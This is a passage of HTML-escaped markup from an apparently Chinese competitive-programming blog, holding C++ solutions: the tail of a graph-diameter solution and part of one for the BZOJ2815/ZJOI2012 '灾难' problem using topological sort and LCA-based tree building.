class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evector\u0026lt;CityEdge\u0026gt;temp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e n = \u003cspan class=\"built_in\"\u003enextInt\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt; n - \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e a = \u003cspan class=\"built_in\"\u003enextInt\u003c/span\u003e(), b = \u003cspan class=\"built_in\"\u003enextInt\u003c/span\u003e(), c = \u003cspan class=\"built_in\"\u003enextInt\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (a \u0026gt; b)\u003cspan class=\"built_in\"\u003eswap\u003c/span\u003e(a, b);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (a \u0026gt; c)\u003cspan class=\"built_in\"\u003eswap\u003c/span\u003e(a, c);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (b \u0026gt; c)\u003cspan class=\"built_in\"\u003eswap\u003c/span\u003e(b, c);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e temp.\u003cspan class=\"built_in\"\u003epush_back\u003c/span\u003e({ a,b,i });\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e temp.\u003cspan class=\"built_in\"\u003epush_back\u003c/span\u003e({ a,c,i });\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e temp.\u003cspan class=\"built_in\"\u003epush_back\u003c/span\u003e({ b,c,i });\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003esort\u003c/span\u003e(temp.\u003cspan class=\"built_in\"\u003ebegin\u003c/span\u003e(), temp.\u003cspan class=\"built_in\"\u003eend\u003c/span\u003e());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; temp.\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e() - \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (temp[i].a == temp[i + \u003cspan class=\"number\"\u003e1\u003c/span\u003e].a\u0026amp;\u0026amp;temp[i].b == temp[i + \u003cspan class=\"number\"\u003e1\u003c/span\u003e].b)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e G.\u003cspan class=\"built_in\"\u003econnect\u003c/span\u003e(temp[i].city_id, temp[i + \u003cspan class=\"number\"\u003e1\u003c/span\u003e].city_id);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e should_from, max_dis = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e G.\u003cspan class=\"built_in\"\u003ework\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt; n - \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (G.dis[i] \u0026gt; max_dis)max_dis = G.dis[i], should_from = i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e G.\u003cspan class=\"built_in\"\u003ework\u003c/span\u003e(should_from);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt; n - \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i++)\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (G.dis[i] \u0026gt; max_dis)max_dis = G.dis[i];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputInt\u003c/span\u003e(max_dis+\u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"灾难\"\u003e灾难\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e来源: BZOJ2815/ZJOI2012\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e一个物种灭绝当且仅当这个物种的所有食物的lca灭绝\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e87\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e88\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e89\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e90\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e91\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e92\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e93\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e94\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e95\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e96\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e97\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e98\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e99\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e100\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e101\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e102\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e103\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;iostream\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;vector\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;queue\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;cstring\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e memset(x,y) memset(x,y,sizeof x)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e \u003cspan class=\"keyword\"\u003enamespace\u003c/span\u003e std;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e n;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e maxn 70000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eGraph\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e vector\u0026lt;\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u0026gt;map[maxn];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e inDegree[maxn];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e vector\u0026lt;\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u0026gt;topoOrder;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eGraph\u003c/span\u003e() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(inDegree, \u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e vector\u0026lt;\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u0026gt; \u0026amp;\u003cspan class=\"keyword\"\u003eoperator\u003c/span\u003e [](\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e pos) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e map[pos];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003econnect\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e from, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e to)\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e map[from].\u003cspan class=\"built_in\"\u003epush_back\u003c/span\u003e(to);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e inDegree[to]++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003etopoSort\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e queue\u0026lt;\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u0026gt;joblist;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= n; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!inDegree[i])joblist.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(i);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (!joblist.\u003cspan class=\"built_in\"\u003eempty\u003c/span\u003e()) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e current = joblist.\u003cspan class=\"built_in\"\u003efront\u003c/span\u003e(); joblist.\u003cspan class=\"built_in\"\u003epop\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e topoOrder.\u003cspan class=\"built_in\"\u003epush_back\u003c/span\u003e(current);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; map[current].\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e(); i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e inDegree[map[current][i]]--;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!inDegree[map[current][i]])\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e joblist.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(map[current][i]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}G;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eDistinctTree\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e depth[maxn], father[maxn][\u003cspan class=\"number\"\u003e17\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e vector\u0026lt;\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u0026gt;map[maxn];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003elca\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e x, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e y)\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (x == \u003cspan class=\"number\"\u003e-1\u003c/span\u003e)\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e y;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (depth[x] \u0026lt; depth[y])\u003cspan class=\"built_in\"\u003eswap\u003c/span\u003e(x, y);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e delta = depth[x] - depth[y];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e17\u003c/span\u003e \u0026amp;\u0026amp; delta; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (delta\u0026amp;(\u003cspan class=\"number\"\u003e1\u003c/span\u003e \u0026lt;\u0026lt; i)) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e x = father[x][i];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e delta ^= \u003cspan class=\"number\"\u003e1\u003c/span\u003e \u0026lt;\u0026lt; i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e16\u003c/span\u003e; i \u0026gt;= \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i--) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (father[x][i] != father[y][i])\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e x = father[x][i], y = father[y][i];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e (x == y ? x : father[x][\u003cspan class=\"number\"\u003e0\u003c/span\u003e]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eDistinctTree\u003c/span\u003e() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(depth, \u003cspan class=\"number\"\u003e0\u003c/span\u003e); \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(father, \u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e vector\u0026lt;\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u0026gt; \u0026amp;\u003cspan class=\"keyword\"\u003eoperator\u003c/span\u003e[](\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e pos) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e map[pos];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003ebuild\u003c/span\u003e\u003cspan class=\"params\"\u003e(vector\u0026lt;\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u0026gt;\u0026amp;topo)\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e depth[\u003cspan class=\"number\"\u003e0\u003c/span\u003e] = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003cspan class=\"comment\"\u003e//super node\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = topo.\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e() - \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026gt;= \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i--) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e current = topo[i];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e current_father = \u003cspan class=\"number\"\u003e-1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; G[current].\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e(); i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e current_father = \u003cspan class=\"built_in\"\u003elca\u003c/span\u003e(current_father, G[current][i]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (current_father == \u003cspan class=\"number\"\u003e-1\u003c/span\u003e)current_father = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e map[current_father].\u003cspan class=\"built_in\"\u003epush_back\u003c/span\u003e(current);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e depth[current] = depth[current_father] + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e father[current][\u003cspan class=\"number\"\u003e0\u003c/span\u003e] = 